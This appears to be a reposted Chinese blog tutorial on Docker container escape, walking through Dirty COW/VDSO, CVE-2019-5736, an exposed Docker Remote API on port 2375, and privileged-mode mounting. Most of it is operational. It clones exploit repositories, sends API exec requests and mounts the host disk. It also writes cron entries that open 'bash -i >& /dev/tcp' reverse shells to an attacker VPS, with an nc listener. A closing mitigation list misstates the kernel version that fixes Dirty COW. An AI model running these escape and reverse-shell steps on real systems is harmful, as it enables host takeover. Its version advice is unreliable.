docker逃逸的幾種方法以及其原理
前言
這兩天想打個內網靶機,因為太大了還在下載,公司網也不快(淚目),因為涉及到域滲透方面,和一些接觸過的技術,現在先來提前預習一下做個准備
正文
獲取某個系統shell后發現其是docker,這時候我們就需要進行docker逃逸來拿到其真正宿主的權限。這里提供幾種思路。
- 利用dirty cow來進行docker逃逸
- cve-2019-5736
- docker配置不當
1.利用dirty cow來進行docker逃逸
1.前置知識
在Linux中,有一個功能:VDSO(virtual dvnamic shared object),這是一個小型共享庫,能將內核自動映射到所有用戶程序的地址空間,可以理解成將內核中的函數映射到內存中,方便大家訪問。
VDSO其實就是將內核中的.so文件映射到內存,.so是基於Linux下的動態鏈接,其功能和作用類似與windows下.dll文件。
2.利用dirty cow與VDSO來實現docker逃逸的過程
dirty cow漏洞可以讓我們獲取只讀內存的寫的權限,我們首先利用dirty cow漏洞寫入一段shellcode到VDSO映射的一段閑置內存中,然后改變函數的執行順序,使得調用正常的任意函數之前都要執行這段shellcode。這段shellcode初始化的時候會檢查是否是被root調用,如果是則繼續執行,如果不是,則接着執行clock_gettime函數,接下來它會檢測/tmp/.X文件的存在,如果存在,則這時已經是root權限了,然后它會打開一個反向的TCP鏈接,為Shellcode中填寫的ip返回一個Shell。
這種利用方法利用成功的前提是,宿主機的內核有dirty cow漏洞。
3.利用過程
1.判斷是否為docker環境
ls -alh /.dockerenv
docker環境中根目錄下存在此文件
查看系統進程的cgroup信息
cat /proc/1/cgroup
2. 下載腳本(臟牛的)
git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make
3.利用腳本
./0xdeadbeef #反彈shell到本地主機
./0xdeadbeef ip:port #反彈shell到指定主機的指定端口
4.利用結果
我們直接反彈宿主機的shell到127.0.0.1如圖所示
通過cve-2019-5736來達到docker逃逸
1.利用原理與條件
通過在docker容器內重寫和運行主機系統的runc二進制文件達到逃逸的目的。
利用條件為:
- runc版本<=1.0-rc6
- Docker Version < 18.09.2
2.漏洞觸發過程
首先我們得有一個docker下的shell,第二步修改利用腳本中的反彈shell命令,第三步使用go build來編譯腳本,第四步將腳本上傳到docker中,第五步等待宿主機執行exec進入當前docker容器等時候,宿主機就會向我們的vps反彈root權限的shell。
3.具體操作
第一步:確定docker環境
- ls -alh /.dockerenv
docker環境中根目錄下存在此文件 - 查看系統進程的cgroup信息
cat /proc/1/cgroup
第二步:下載利用腳本並修改
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
下圖中的選中部分修改\n后面的命令為反彈shell命令即可。
第三步:編譯腳本
go build main.go
第四步:將編譯好的main文件上傳到docker中
可以先上傳到github然后在docker到shell中使用git clone命令即可,這里不做演示。
第五步:執行腳本並等待此docker再次被exec
docker exec -it test /bin/bash
如上命令的含義是進入test這個容器,當宿主機上執行exec命令來進入我們運行了腳本的容器的時候,宿主機就會反彈root權限的shell給我們的vps的監聽端口,至此利用結束。
4.此種方式利用的理解
這種方式利用的條件其實比較苛刻,主要苛刻在宿主機必須有人執行exec命令進入當前docker環境,如果沒有人在宿主機執行的話,是無法進行docker逃逸的。
配置不當導致docker逃逸
1.docket remote api未授權訪問導致逃逸
docker swarm是管理docker集群的工具。主從管理、默認通過2375端口通信。綁定了一個Docker Remote API的服務,可以通過HTTP、Python、調用API來操作Docker。由於環境復雜,這里借用freebuf上的圖片。
確定docker remote api是否可訪問
直接在瀏覽器中輸入http://ip:2375/version
漏洞利用
1.訪問http://ip:2375/containers/json看是否出現以下畫面:
1.創建一個包,得到返回的exec_id的參數,數據包內容如下:
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188
{
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”, “/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}
注意其中的cmd字段,這個就是要執行的命令。
1.得到exec_id參數后構造第二個exec_start數據包,內容如下:
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
{
“Detach”: false,
“Tty”: false
}
然后發送后會得到結果:
至此成功獲取到docker主機的命令執行權限,但是還無法逃逸到宿主機。
在docker容器內安裝docker作為client
apt-get install docker.io
yum -y install docker
查看宿主機的docker image信息
docker -H tcp://宿主機ip:2375 images
啟動一個容器並且將宿主機的根目錄抓再到容器的某個目錄
docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash
上述命令的意思是將宿主機的根目錄掛在到容器adafef2e596e的/test目錄下
寫一個計划任務反彈shell(或者寫.ssh公鑰都OK)
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root
在vps上使用nc命令等待反彈過來的shell
nc -lvp 8888
利用特權模式逃逸
漏洞原理
使用特權模式啟動容器,可以獲取大量設備文件訪問權限。因為當管理員執行docker run —privileged時,Docker容器將被允許訪問主機上的所有設備,並可以執行mount命令進行掛載。
漏洞利用
- 查看磁盤文件
fdisk -l
2.將/dev/vda1也就是磁盤掛在到本地的任意文件下
mkdir /nuoyan
mount /dev/vda1 /nuoyan
此時這個nuoyan文件夾就相當於對方主機的根目錄,可以進行寫文件操作。
3.寫入計划任務
echo '* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1' >> /nuoyan/var/spool/cron/root
4.在vps上等待shell反連接
nc -lvp 8888
防止docker逃逸的方法
1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆蓋CVE-2019-5736
2、runc版本 > 1.0-rc6
3、k8s 集群版本>1.12
4、Linux內核版本>=2.6.22——CVE-2016-5195(臟牛)
5、Linux內核版本>=4.14——CVE-2017–1000405(大臟牛),未找到docker逃逸利用過程,但存在逃逸風險
6、不建議以root權限運行Docker服務
7、不建議以privileged(特權模式)啟動Docker
8、不建議將宿主機目錄掛載至容器目錄
9、不建議將容器以—cap-add=SYSADMIN啟動,SYSADMIN意為container進程允許執行mount、umount等一系列系統管理操作,存在容器逃逸風險
_____________________________________________________-
正文處轉載於:https://blog.csdn.net/qq_41874930/article/details/109216506